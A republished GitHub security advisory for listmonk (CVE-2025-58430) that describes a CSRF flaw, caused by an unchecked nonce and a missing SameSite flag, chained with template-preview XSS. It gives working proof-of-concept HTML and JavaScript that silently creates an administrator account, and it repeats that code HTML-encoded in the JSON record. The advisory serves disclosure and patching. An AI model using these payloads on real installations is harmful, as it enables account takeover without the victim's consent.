ghsa-rf24-wg77-gq7w
Vulnerability from github
Published
2025-09-09 20:42
Modified
2025-09-10 21:08
Summary
listmonk: CSRF to XSS Chain can Lead to Admin Account Takeover
Details

Summary

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

Details

During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.

This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.

Example HTTP request without nonce : user_creation_without_nonce_burp_request

PoC

Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.

An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:

browser_template_editor_with_alert

And this request can also be made without nonce.

template_preview_burp_request_without_nonce

Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).

This is possible for 2 reasons : 1) There is no validation of the nonce (as mentioned above) 2) The session cookie has no samesite flag

no_same_site_response_cookie_burp

As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one. Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).

For example, we can host this html page to prompt the admin to make a post request

```html

document.forms[0].submit();

```

The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions) - Chrome ❌ - Firefox ✅ - Edge ✅

Example in Firefox :

xss_mozilla_poc

We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account: browser_template_editor_with_final_payload

html <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true); xhr.setRequestHeader("Content-Type", "application\/json"); xhr.withCredentials = true; var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script>

The final poc that exploits CSRF + XSS, allowing admin account creation:

```html

document.forms[0].submit();

```

Impact

Admin account creation

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/knadh/listmonk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-09T20:42:32Z",
    "nvd_published_at": "2025-09-09T20:15:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they\u2019re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker\u2019s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.\n\n\n### Details\n\nDuring a security evaluation of the webapp, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly.\n\nThis may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.\n\nExample HTTP request without nonce : \n\u003cimg width=\"1418\" height=\"772\" alt=\"user_creation_without_nonce_burp_request\" src=\"https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32\" /\u003e\n\n\n\n### PoC\n\nLet\u0027s look at a \u201cchain\u201d case of vulnerabilities that include the CSRF and XSS.\n\nAn admin (or any user with permissions) can create templates and preview them (`POST /api/templates/preview` ) making it possible to execute javascript code. For example:\n\n\u003cimg width=\"1912\" height=\"935\" alt=\"browser_template_editor_with_alert\" src=\"https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad\" /\u003e\n\nAnd this request can also be made without `nonce`.\n\n\u003cimg width=\"1883\" height=\"707\" alt=\"template_preview_burp_request_without_nonce\" src=\"https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41\" /\u003e\n\nThen an attacker can exploit this lack of validation to trigger an XSS in the victim\u0027s browser (let\u0027s assume the admin).\n\nThis is possible for 2 reasons :\n 1) There is no validation of the `nonce` (as mentioned above)\n 2) The `session` cookie has no samesite flag\n\n\u003cimg width=\"1557\" height=\"593\" alt=\"no_same_site_response_cookie_burp\" src=\"https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77\" /\u003e\n\nAs we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.\nSome browsers by default set `Lax` (Chrome), but many others use `None` (Firefox, Edge).\n\nFor example, we can host this html page to prompt the admin to make a post request\n\n```html\n\u003chtml\u003e\n  \u003c!-- CSRF PoC  --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"template\u0026#95;type\" value=\"campaign\" /\u003e\n      \u003cinput type=\"hidden\" name=\"body\" value=\"\u0026#123;\u0026#123;\u0026#32;template\u0026#32;\u0026quot;content\u0026quot;\u0026#32;\u0026#46;\u0026#32;\u0026#125;\u0026#125;\u0026#13;\u0026#10;\u0026#13;\u0026#10;\u0026lt;script\u0026gt;alert\u0026#40;\u0026#41;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n\n\nThe CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)\n- Chrome \u274c\n- Firefox \u2705\n- Edge \u2705\n\nExample in Firefox : \n\n![xss_mozilla_poc](https://github.com/user-attachments/assets/04397e79-0fa1-4c99-b8c2-5b2ff2fbf4fa)\n\nWe can now replace the simple `alert()` with any \u201charmful\u201d request. For example, the creation of a new admin account:\n\u003cimg width=\"1226\" height=\"925\" alt=\"browser_template_editor_with_final_payload\" src=\"https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a\" /\u003e\n\n```html\n    \u003cscript\u003e\n      function submitRequest()\n      {\n        var xhr = new XMLHttpRequest();\n        xhr.open(\"POST\", \"https:\\/\\/10.100.132.47\\/api\\/users\", true);\n        xhr.setRequestHeader(\"Content-Type\", \"application\\/json\");\n        xhr.withCredentials = true;\n        var body = \"{\\\"username\\\":\\\"testuser4\\\",\\\"email\\\":\\\"test3@test.com\\\",\\\"name\\\":\\\"testuser4\\\",\\\"password\\\":\\\"Test12345\\\",\\\"passwordLogin\\\":true,\\\"type\\\":\\\"user\\\",\\\"status\\\":\\\"enabled\\\",\\\"listRoleId\\\":\\\"\\\",\\\"userRoleId\\\":1,\\\"password2\\\":\\\"Test12345\\\",\\\"password_login\\\":true,\\\"user_role_id\\\":1,\\\"list_role_id\\\":null}\";\n        var aBody = new Uint8Array(body.length);\n        for (var i = 0; i \u003c aBody.length; i++)\n          aBody[i] = body.charCodeAt(i); \n        xhr.send(new Blob([aBody]));\n      }\n      submitRequest();\n    \u003c/script\u003e\n```\n\nThe final poc that exploits CSRF + XSS,  allowing admin account creation:\n\n```html\n\n\u003chtml\u003e\n  \u003c!-- CSRF PoC --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"template\u0026#95;type\" value=\"campaign\" /\u003e\n      \u003cinput type=\"hidden\" name=\"body\" value=\"\u0026#123;\u0026#123;\u0026#32;template\u0026#32;\u0026quot;content\u0026quot;\u0026#32;\u0026#46;\u0026#32;\u0026#125;\u0026#125;\u0026#13;\u0026#10;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026lt;script\u0026gt;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;function\u0026#32;submitRequest\u0026#40;\u0026#41;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#123;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;xhr\u0026#32;\u0026#61;\u0026#32;new\u0026#32;XMLHttpRequest\u0026#40;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;open\u0026#40;\u0026quot;POST\u0026quot;\u0026#44;\u0026#32;\u0026quot;https\u0026#58;\u0026#92;\u0026#47;\u0026#92;\u0026#47;10\u0026#46;100\u0026#46;132\u0026#46;47\u0026#92;\u0026#47;api\u0026#92;\u0026#47;users\u0026quot;\u0026#44;\u0026#32;true\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;setRequestHeader\u0026#40;\u0026quot;Content\u0026#45;Type\u0026quot;\u0026#44;\u0026#32;\u0026quot;application\u0026#92;\u0026#47;json\u0026quot;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;withCredentials\u0026#32;\u0026#61;\u0026#32;true\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;body\u0026#32;\u0026#61;\u0026#32;\u0026quot;\u0026#123;\u0026#92;\u0026quot;username\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;testuser4\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;email\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;test3\u0026#64;test\u0026#46;com\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;name\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;testuser4\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;password\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;Test12345\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;passwordLogin\u0026#92;\u0026quot;\u0026#58;true\u0026#44;\u0026#92;\u0026quot;type\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;user\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;status\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;enabled\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;listRoleId\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;userRoleId\u0026#92;\u0026quot;\u0026#58;1\u0026#44;\u0026#92;\u0026quot;password2\u0026#92;\u0026quot;\u0026#58;\u0026#92;\u0026quot;Test12345\u0026#92;\u0026quot;\u0026#44;\u0026#92;\u0026quot;password\u0026#95;login\u0026#92;\u0026quot;\u0026#58;true\u0026#44;\u0026#92;\u0026quot;user\u0026#95;role\u0026#95;id\u0026#92;\u0026quot;\u0026#58;1\u0026#44;\u0026#92;\u0026quot;list\u0026#95;role\u0026#95;id\u0026#92;\u0026quot;\u0026#58;null\u0026#125;\u0026quot;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;var\u0026#32;aBody\u0026#32;\u0026#61;\u0026#32;new\u0026#32;Uint8Array\u0026#40;body\u0026#46;length\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;for\u0026#32;\u0026#40;var\u0026#32;i\u0026#32;\u0026#61;\u0026#32;0\u0026#59;\u0026#32;i\u0026#32;\u0026lt;\u0026#32;aBody\u0026#46;length\u0026#59;\u0026#32;i\u0026#43;\u0026#43;\u0026#41;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;aBody\u0026#91;i\u0026#93;\u0026#32;\u0026#61;\u0026#32;body\u0026#46;charCodeAt\u0026#40;i\u0026#41;\u0026#59;\u0026#32;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;xhr\u0026#46;send\u0026#40;new\u0026#32;Blob\u0026#40;\u0026#91;aBody\u0026#93;\u0026#41;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#125;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026#32;submitRequest\u0026#40;\u0026#41;\u0026#59;\u0026#13;\u0026#10;\u0026#32;\u0026#32;\u0026#32;\u0026#32;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n\n```\n\n### Impact\nAdmin account creation",
  "id": "GHSA-rf24-wg77-gq7w",
  "modified": "2025-09-10T21:08:05Z",
  "published": "2025-09-09T20:42:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58430"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/knadh/listmonk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "listmonk: CSRF to XSS Chain can Lead to Admin Account Takeover"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…